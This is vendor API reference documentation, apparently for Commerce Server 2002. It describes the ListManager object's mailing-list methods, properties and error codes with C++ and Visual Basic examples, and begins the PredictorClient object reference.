
Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For more information about the returned Recordset object, see IListManager::GetOperations.

[Visual Basic] For more information about the returned Recordset object, see ListManager.GetOperations.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetOperations Method [C++]

ListManager.GetOperations Method [Visual Basic]

Use this method to enumerate all operations known to the ListManager object.

Definition

[C++]
HRESULT IListManager::GetOperations(
 IDispatch** ppRecSet
);
[Visual Basic]
Function GetOperations() As Object

Parameters

ppRecSet [C++]
[out, retval] The address of a pointer used to return the IDispatch interface of an ADO Recordset object used to return information about the operations known to this instance of the ListManager object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains information about the operations known to this instance of the ListManager object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns an instance of a read-only ADO Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | Nvarchar(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | int | Additional column which stores any extra parameters involved in the operation.
op_list_param2 | int | Additional column which stores any extra parameters involved in the operation.
op_list_table | nvarchar(256) | Tablename (ExportToSql type operations only).
op_progress | int | Unused.
op_status | smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | datetime | Date/time the operation completed or was aborted.
op_time_start | datetime | Date/time the operation started.
op_type | int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[C++] IListManager::CancelOperation

[Visual Basic] ListManager Object

[Visual Basic] ListManager.CancelOperation


IListManager::Initialize Method [C++]

ListManager.Initialize Method [Visual Basic]

Use this method to initialize the ListManager object.

Definition

[C++]
HRESULT IListManager::Initialize(
 BSTR bstrConnStr,
);
[Visual Basic]
Sub Initialize(
 bstrConnStr As String,
)

Parameters

bstrConnStr [C++]
[in] A BSTR that contains the connection string for the database to which the List Manager will connect.
bstrConnStr [Visual Basic]
A String that contains the connection string for the database to which the List Manager will connect.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_ALREADYINITIALIZED | [C++] 0x8C400002 [Visual Basic] &H8C400002 | The ListManager object has already been initialized and may not be re-initialized.
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Initialize the ListManager object before calling any other ListManager object method or property.

Initializing connects the ListManager object to a database. If the database does not contain the tables and procedures required by the ListManager object, they are created.

A ListManager object can be connected to only one database. To connect to a different database, instantiate a new ListManager object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Initialize "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'"

See Also

[C++] ListManager Object

[C++] IListManager::ExportToSQL

[Visual Basic] ListManager Object

[Visual Basic] ListManager.ExportToSQL


IListManager::RemoveUserFromMailingList Method [C++]

ListManager.RemoveUserFromMailingList Method [Visual Basic]

Use this method to remove a user from a mailing list

Definition

[C++]
HRESULT IListManager::RemoveUserFromMailingList(
  VARIANT listID,
  BSTR UserEmail
);
[Visual Basic]
Sub RemoveUserFromMailingList(
  listID As Variant,
  UserEmail As String
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
UserEmail [C++]
[in] A BSTR that contains the e-mail address of the user.
UserEmail [Visual Basic]
A String that contains the e-mail address of the user.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MUST_BE_STATIC | [C++] 0x8C400019 [Visual Basic] &H8C400019 | The operation requires a static list and the specified list is dynamic.
E_LM_NOT_MAILING_LIST | [C++] 0x8C400018 [Visual Basic] &H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.RemoveUserFromMailingList _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "JaneUser@somewhere.com"

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Rename Method [C++]

ListManager.Rename Method [Visual Basic]

Use this method to rename a list.

Definition

[C++]
HRESULT IListManager::Rename(
 VARIANT listID,
 BSTR newListName
);
[Visual Basic]
Sub Rename(
 listID As Variant,
 newListName As String
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list to be renamed.
listID [Visual Basic]
A Variant that specifies the ID or name of the list to be renamed.
newListName [C++]
[in] A BSTR that contains the new name for the list.
newListName [Visual Basic]
A String that contains the new name for the list.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The new name must not be the same as any existing list name.

[Visual Basic]

Example

oListManager.Rename "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "Tequila"

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::SetDesc Method [C++]

ListManager.SetDesc Method [Visual Basic]

Use this method to provide a new description for a list.

Definition

[C++]
HRESULT IListManager::SetDesc(
 VARIANT listID,
 BSTR newListDesc
);
[Visual Basic]
Sub SetDesc(
 listID As Variant,
 newListDesc As String
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list.
listID [Visual Basic]
A Variant that specifies the ID or name of the list.
newListDesc [C++]
[in] A BSTR that contains the description to be associated with the list.
newListDesc [Visual Basic]
A String that contains the description to be associated with the list.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

oListManager.SetDesc(listID, newListDesc)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::SetListProperty Method [C++]

ListManager.SetListProperty Method [Visual Basic]

Use this method to set a property of a list.

Definition

[C++]
HRESULT IListManager::SetListProperty(
  VARIANT listID,
  BSTR listPropertyName,
  VARIANT ListProp
);
[Visual Basic]
Sub SetListProperty(
  listID As Variant,
  listPropertyName As String,
  ListProp As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
listPropertyName [C++]
[in] A BSTR that contains the property name (column of the lm_master table).
listPropertyName [Visual Basic]
A String that contains the property name (column of the lm_master table).
ListProp [C++]
[in] A VARIANT that contains the value to set the property.
ListProp [Visual Basic]
A Variant that contains the value to set the property.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_MUST_BE_DYNAMIC | [C++] 0x8C400012 [Visual Basic] &H8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_LISTPROP_NOT_UPDATEABLE | [C++] 0x8C400013 [Visual Basic] &H8C400013 | The specified list property cannot be changed after the list has been created.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is usually used to change properties of a dynamic list, such as the table name, connection string, or SQL query from which a dynamic list is created.

The following properties may be set by this method:

  • list_name
  • list_description
  • list_userflags
  • list_err_limit (dynamic lists only)
  • list_query (dynamic lists only)
  • list_source (dynamic lists only)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.SetListProperty "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_userflags", 12)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Subtract Method [C++]

ListManager.Subtract Method [Visual Basic]

Use this method to subtract one mailing list from another mailing list, placing the result in a third list.

Definition

[C++]
HRESULT IListManager::Subtract(
 VARIANT srcList,
 VARIANT lessList,
 VARIANT resList,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Subtract(
 srcList As Variant,
 lessList As Variant,
 resList As Variant,
 errLimit As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the list from which elements will be subtracted.
srcList [Visual Basic]
A Variant that contains the ID or name of the list from which elements will be subtracted.
lessList [C++]
[in] A VARIANT that contains the ID or name of the less list.
lessList [Visual Basic]
A Variant that contains the ID or name of the less list.
resList [C++]
[in] A VARIANT that contains the ID or name of the list into which the results of the subtraction operation will be placed.
resList [Visual Basic]
A Variant that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column and thus, both the source (srcList parameter) and less (lessList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). Records from the source list that do not have duplicate e-mail addresses (rcp_email) in the less list are copied to the result (resList parameter) list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the subtraction operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Subtract "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Union Method [C++]

ListManager.Union Method [Visual Basic]

Use this method to produce a union of two mailing lists, placing the result in a third mailing list. A union is a combination of the two lists with any duplicates eliminated.

Definition

[C++]
HRESULT IListManager::Union(
 VARIANT srcList,
 VARIANT addList,
 VARIANT resList,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Union(
 srcList As Variant,
 addList As Variant,
 resList As Variant,
 errLimit As long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the source list.
addList [C++]
[in] A VARIANT that contains the ID or name of the add list.
addList [Visual Basic]
A Variant that contains the ID or name of the add list.
resList [C++]
[in] A VARIANT that contains the ID or name of the list into which the results of the union operation will be placed.
resList [Visual Basic]
A Variant that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column and thus, both the source (srcList parameter) and add (addList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). All the records from the source list are copied to the result (resList parameter) list. All records from the add list that do not have duplicate e-mail addresses (rcp_email) in the source list are also copied to the result list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the union operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Union "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::WaitOnOperation Method [C++]

ListManager.WaitOnOperation Method [Visual Basic]

Use this method to wait until an operation is complete or a specified time period has elapsed.

Definition

[C++]
HRESULT IListManager::WaitOnOperation(
 VARIANT varOpID,
 unsigned long timeout
);
[Visual Basic]
Sub WaitOnOperation(
 varOpID As Variant,
 Optional timeout As Long
)

Parameters

varOpID [C++]
[in] A VARIANT that specifies the ID of the operation upon which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
varOpID [Visual Basic]
A Variant that specifies the ID of the operation upon which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout [C++]
[in, optional] An unsigned long hat specifies a timeout. This method returns when either the specified operation completes, or when the number of seconds specified by the timeout parameter have elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
timeout [Visual Basic]
An optional Long that specifies a timeout. This method returns when either the specified operation completes, or when the number of seconds specified by timeout have elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_OPERATION_NOT_FOUND | [C++] 0x8C400004 [Visual Basic] &H8C400004 | The operation ID does not represent a currently running operation.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot be called from a scripting language such as VBScript or JScript on an ASP page. ASP pages must use alternative techniques when dealing with asynchronous operations and should never wait on them explicitly.

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

[C++]
  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union
[Visual Basic]
  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

[C++] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

[Visual Basic] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.WaitOnOperation "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", 900

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager Properties [C++]

ListManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ConnectionString | BSTR | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | long | Stores the current status of the ListManager object. This property is read-only.
[Visual Basic]
Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Long | Stores the current status of the ListManager object. This property is read-only.


IListManager::get_ConnectionString Property [C++]

ListManager.ConnectionString Property [Visual Basic]

The ConnectionString property is a read-only string that contains the database connection string the List Manager uses to store lists. This property is set by the Initialize method.

Definition

[C++]
Get method:
HRESULT IListManager::get_ConnectionString(
 BSTR* ConnectionString
);
[Visual Basic]
Property ConnectionString() As String

Parameters

[Visual Basic] None.

[C++]
ConnectionString [C++]
[out, retval] A pointer to a BSTR used to return the connection string.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::get_Status Property [C++]

ListManager.Status Property [Visual Basic]

The Status property is a read-only Long that contains the ListManager object status.

Definition

[C++]
Get method:
HRESULT IListManager::get_Status(
 long* Status
);
[Visual Basic]
Property Status() As Long

Parameters

Status [C++]
[out, retval] A pointer to a long is used to return the ListManager object status.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table shows the valid status codes and their descriptions.

Status | Value | Description
LMSTATUS_NEW | 0 | The ListManager object has been created but is not yet initialized.
LMSTATUS_READY | 1 | The ListManager object has been created and successfully initialized.
LMSTATUS_ERROR | -1 | The ListManager object failed to initialize.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


PredictorClient Object [C++]

PredictorClient Object [Visual Basic]

Use this object to load an analysis model, set properties controlling the prediction context, and execute the prediction algorithm. Two types of models are supported, prediction models and segment models. Results of a prediction model are used to recommend products and supply missing profile data. Results of a segment model are used to categorize a user. Prediction models provide more accurate recommendations than segment models and the use of segment models for predictions is discouraged.

ProgID: | Commerce.PredictorClient (Externally creatable)
COM Class Name: | PredictorClient
Type Library Name: | Microsoft Commerce 2002 Predictor Client Type Library
DLL Name: | PredictorClient.dll
Threading Model: | Both
[C++]
COM Interface Name: | IPredictorClient
Interface ID Constant: | IID_IPredictorClient
Header File: | PredictorClient.h

[C++] In C++, use the IPredictorClient interface to access the properties and methods of the PredictorClient object.

Methods

[C++]
Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts recommend products or missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.
[Visual Basic]
Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts recommend products or missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
